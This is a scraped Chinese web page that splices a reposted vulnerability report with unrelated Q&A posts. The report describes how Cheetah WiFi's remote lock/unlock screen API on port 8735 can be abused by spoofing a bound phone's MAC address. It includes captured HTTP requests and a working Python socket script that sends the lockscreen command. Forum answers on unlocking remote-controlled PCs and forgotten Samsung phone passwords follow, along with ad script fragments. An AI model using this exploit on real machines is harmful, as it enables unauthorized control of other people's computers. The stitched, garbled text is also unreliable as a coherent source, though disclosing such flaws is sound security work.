电脑屏幕锁了,密码打不开,要关机时,说是被三星远程控制打不开了

来源：蜘蛛抓取(WebSpider) 时间：2015-06-08 19:57 标签： 远程控制电脑开关机
猎豹wifi下非认证远程控制电脑关机、锁屏
您当前位置： &
[ 所属分类
在电脑开启猎豹WiFi热点，有一项功能是远程控制电脑关机和锁屏，发现认证仅通过mac地址绑定，可通过伪造mac地址绕过认证wireshark抓包如下：POST /api/calltool?type=unlockscreen HTTP/1.1 Host: :8735 Connection: keep-alive Content-Length: 0 Origin: :8735 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (iP CPU iPhone OS 7_1_2 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/11D257 UCBrowser/10.1.0.518 Mobile Accept: application/json Accept-Language: zh-cn Referer: :8735/tool/ Accept-Encoding: gzip,deflate HTTP/1.1 200 OK Transfer-Encoding: chunked C {"code":"1"} 0 POST /api/calltool?type=lockscreen HTTP/1.1 Host: :8735 Connection: keep-alive Content-Length: 0 Origin: :8735 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (iP CPU iPhone OS 7_1_2 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/11D257 UCBrowser/10.1.0.518 Mobile Accept: application/json Accept-Language: zh-cn Referer: :8735/tool/ Accept-Encoding: gzip,deflate HTTP/1.1 200 OK Transfer-Encoding: chunked C {"code":"1"} 0可见没有加密，也没有认证。但是设备首次利用该命令时会绑定手机的mac地址通过嗅探合法绑定的手机发送的命令包和mac地址，然后攻击机伪造一样的mac地址和命令包，就可以绕过认证，控制电脑。但是前提是，已经接入了WiFi。import socket,sysport =8735 #host="192.168.191.129" #223.6.252.25host="192.168.191.1"filename="POST /api/calltool?type=lockscreen HTTP/1.1\r\nHost: :8735\r\nConnection: keep-alive\r\nContent-Length: 0\r\nOrigin: :8735\r\nX-Requested-With: XMLHttpRequest\r\nUser-Agent: Mozilla/5.0 (iP CPU iPhone OS 7_1_2 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/11D257 UCBrowser/10.1.0.518 Mobile\r\nAccept: application/json\r\nAccept-Language: zh-cn\r\nReferer: :8735/tool/\r\nAccept-Encoding: gzip,deflate\r\n\r\n"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,port))s.sendall(filename)while 1: buf=s.recv(2048) if not len(buf): break sys.stdout.write(buf)解决方案：通过SSL加密，关机和关闭屏幕命令
本文网络安全相关术语:网络安全工程师 网络信息安全 网络安全技术 网络安全知识
转载请注明本文标题：本站链接：
分享请点击：
1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责；
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性，不作出任何保证或承若；
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
每一次烦恼的出现，都是一个给我们寻找自己缺点的机会。
手机客户端
，专注代码审计及安全周边编程，转载请注明出处：http://www.codesec.net
转载文章如有侵权，请邮件 admin[at]codesec.net电脑被远程控制了，怎么解锁_百度知道
电脑被远程控制了，怎么解锁
我有更好的答案
1、用杀毒软件查杀 2、没检测用360安全卫士等反间谍软件 3、述均效请用IceSword、syscheck等工具检查并用AutoRuns检查启项手工清除远程控制工具
都被远程控制了，还解什么锁啊，直接重装吧。当然如果是特殊目的，比如远程协助等就另当别论了。
输入密码就行了
其他类似问题
2人觉得有用
为您推荐：
远程控制的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁三星g9008w屏幕锁了忘了密码怎么办_百度知道
三星g9008w屏幕锁了忘了密码怎么办
　三星g9008w屏幕锁密码忘了的解决方法：　　1、确定手机是否绑定了三星账户，数据开关开启，可登陆三星官网通过手机的远程控制进行屏幕解锁。　　2、若手机已打开USB调试，电脑安装刷机精灵等第三方软件，手机通过数据线连接电脑，通过第三方软件破除密码。　　3、手机关机状态下同时安住【主页键】+【电源键】+【音量+键】，进入恢复模式，选择wipe data 清除数据。　　4、也可通过刷机来破除密码，百度搜索下载g9008w最新官方ROM和ODIN刷机软件下载，手机进入刷机模式后连接电脑，电脑上开启ODIN软件选择下载的ROM刷入手机即可。
其他类似问题
为您推荐：
尊敬三星用户您：根据您描述您g9008w型号手机忘记手机锁屏密码建议您：确定手机否绑定三星账户数据关启登陆通手机远程控制进行屏幕解锁若没绑定三星账户建议您手机送至近三星服务进行解锁 具体服务址请您访问：三星企业知道您提供优质解决案用解答您问题希望能够您满意评价
来自团队：
屏幕锁的相关知识
其他1条回答
用螺丝刀屏幕撬
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁您的举报已经提交成功，我们将尽快处理，谢谢！
那你可能要连到电脑上才行呢
希望对你有帮助
麻烦好评，谢谢
当然不能了
两台电脑都要打开共享才能的
有时你可以对其他电脑进行连接
但是却不能对电脑内的资料进行操作
大家还关注
(window.slotbydup=window.slotbydup || []).push({
id: '2081942',
container: s,
size: '1000,60',
display: 'inlay-fix'

我要回帖

更多关于 远程控制电脑开关机 的文章

 

随机推荐